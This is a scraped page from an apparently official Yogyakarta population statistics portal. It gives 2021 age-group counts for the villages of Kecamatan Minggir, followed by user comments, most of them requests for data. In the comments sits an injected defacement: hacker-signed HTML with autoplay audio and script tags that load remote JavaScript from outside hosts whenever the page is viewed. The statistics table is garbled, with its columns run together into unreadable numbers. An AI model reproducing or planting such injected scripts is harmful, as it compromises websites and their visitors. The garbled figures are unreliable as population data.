Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN MINGGIR, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSENDANGARUMSENDANGMULYOSENDANGAGUNGSENDANGSARISENDANGREJOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun2325 487881 1597885 1634853 1018088 168307 332 639
2 tahun1517 323632 685648 1042226 484646 92175 169 344
3 tahun1820 383233 654942 912834 626048 108187 177 364
4 tahun1713 304627 734859 1072837 654464 108183 200 383
5 tahun2538 634542 875842 1002426 505756 113209 204 413
6 tahun2224 463352 853841 793546 814539 84173 202 375
7 tahun2225 473943 825559 1144731 786047 107223 205 428
8 tahun1614 304947 964266 1082743 705161 112185 231 416
9 tahun2727 545245 976459 1233631 675267 119231 229 460
10 tahun3221 533356 895756 1134438 826759 126233 230 463
11 tahun2824 525558 1136369 1323334 677361 134252 246 498
12 tahun2221 435644 1005256 1083647 835153 104217 221 438
13 tahun2627 535646 1026867 1352738 656877 145245 255 500
14 tahun1924 434239 816457 1213843 816668 134229 231 460
15 tahun2324 475040 905741 983940 796276 138231 221 452
16 tahun2418 424940 895853 1112730 576271 133220 212 432
17 tahun2723 503731 686044 1043731 685559 114216 188 404
18 tahun2818 465049 994949 983831 697141 112236 188 424
19 tahun2127 484544 896952 1212725 526955 124231 203 434
20 tahun1922 415034 845262 1143729 665066 116208 213 421
21 tahun2732 594537 827373 1463732 696772 139249 246 495
22 tahun2520 455040 905451 1053744 814267 109208 222 430
23 tahun2522 474534 796143 1043235 676342 105226 176 402
24 tahun1930 494845 934644 903340 735859 117204 218 422
25 tahun2323 465150 1016361 1244045 856964 133246 243 489
26 tahun2714 416054 1144850 983046 766246 108227 210 437
27 tahun2027 475945 1045854 1122635 614747 94210 208 418
28 tahun2326 495457 1115053 1033630 664749 96210 215 425
29 tahun1521 363144 757355 1283430 645358 111206 208 414
30 tahun1015 255042 925945 1044826 747147 118238 175 413
31 tahun2325 484043 834844 923238 705052 102193 202 395
32 tahun2320 434839 874356 993532 674946 95198 193 391
33 tahun1417 313342 755557 1122026 465554 109177 196 373
34 tahun2122 434353 964344 872826 543557 92170 202 372
35 tahun1419 334552 975856 1143036 663950 89186 213 399
36 tahun1727 443849 874552 972343 664656 102169 227 396
37 tahun2428 525041 915049 992847 755362 115205 227 432
38 tahun3130 616260 1226762 1293335 685952 111252 239 491
39 tahun2624 505346 997263 1353443 777776 153262 252 514
40 tahun2619 454545 904967 1164730 777355 128240 216 456
41 tahun3232 646159 1207061 1315039 894373 116256 264 520
42 tahun3127 584844 925560 1154545 906353 116242 229 471
43 tahun2332 556262 1247460 1342547 725463 117238 264 502
44 tahun4233 754550 956264 1264234 766861 129259 242 501
45 tahun2740 675046 966358 1214039 796160 121241 243 484
46 tahun3126 575250 1026863 1314735 826365 128261 239 500
47 tahun2735 625952 1115259 1113740 775451 105229 237 466
48 tahun2425 494937 866559 1244132 738080 160259 233 492
49 tahun2431 554653 996356 1193137 686078 138224 255 479
50 tahun3931 703753 905761 1183126 577058 128234 229 463
51 tahun2825 534657 1033758 953135 666665 131208 240 448
52 tahun2333 565847 1056259 1214638 846977 146258 254 512
53 tahun2632 583947 865259 1114430 746477 141225 245 470
54 tahun3321 542954 834848 964143 846056 116211 222 433
55 tahun2124 454034 745856 1143735 725866 124214 215 429
56 tahun3223 553856 945256 1082536 615946 105206 217 423
57 tahun1925 444534 793460 943239 714967 116179 225 404
58 tahun1218 304143 844031 712626 524363 106162 181 343
59 tahun2617 433556 913752 892633 595158 109175 216 391
60 tahun1519 343548 833846 842527 523951 90152 191 343
61 tahun2325 485056 1064363 1062741 686769 136210 254 464
62 tahun1916 353538 734250 922729 564438 82167 171 338
63 tahun1521 363950 894663 1092137 584258 100163 229 392
64 tahun2620 464343 864535 802132 534340 83178 170 348
65 tahun2013 334445 893454 881829 473643 79152 184 336
66 tahun2014 343239 714839 872328 513446 80157 166 323
67 tahun1814 323720 573645 811521 363345 78139 145 284
68 tahun1517 322236 583930 692923 522631 57131 137 268
69 tahun1222 342631 572227 491826 444230 72120 136 256
70 tahun1215 272027 472224 462419 433139 70109 124 233
71 tahun1418 322635 612854 822625 512448 72118 180 298
72 tahun814 221417 311528 431316 291726 4367 101 168
73 tahun1125 362033 533243 751423 372332 55100 156 256
74 tahun717 241918 371830 481723 402027 4781 115 196
75 tahun211 131422 361934 531817 351830 4871 114 185
76 tahun1530 451825 432732 592615 412529 54111 131 242
77 tahun102 122224 462125 461112 232230 5286 93 179
78 tahun1217 292222 441213 25916 252127 4876 95 171
79 tahun1114 251818 361827 451416 302128 4982 103 185
80 ke atas6361 12491135 226105147 2524767 11486139 225392 549 941
Jumlah1.7551.8483.6033.4103.5176.9274.0114.1758.1862.4812.6635.1444.1534.4368.589 15.810 16.639 32.449
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih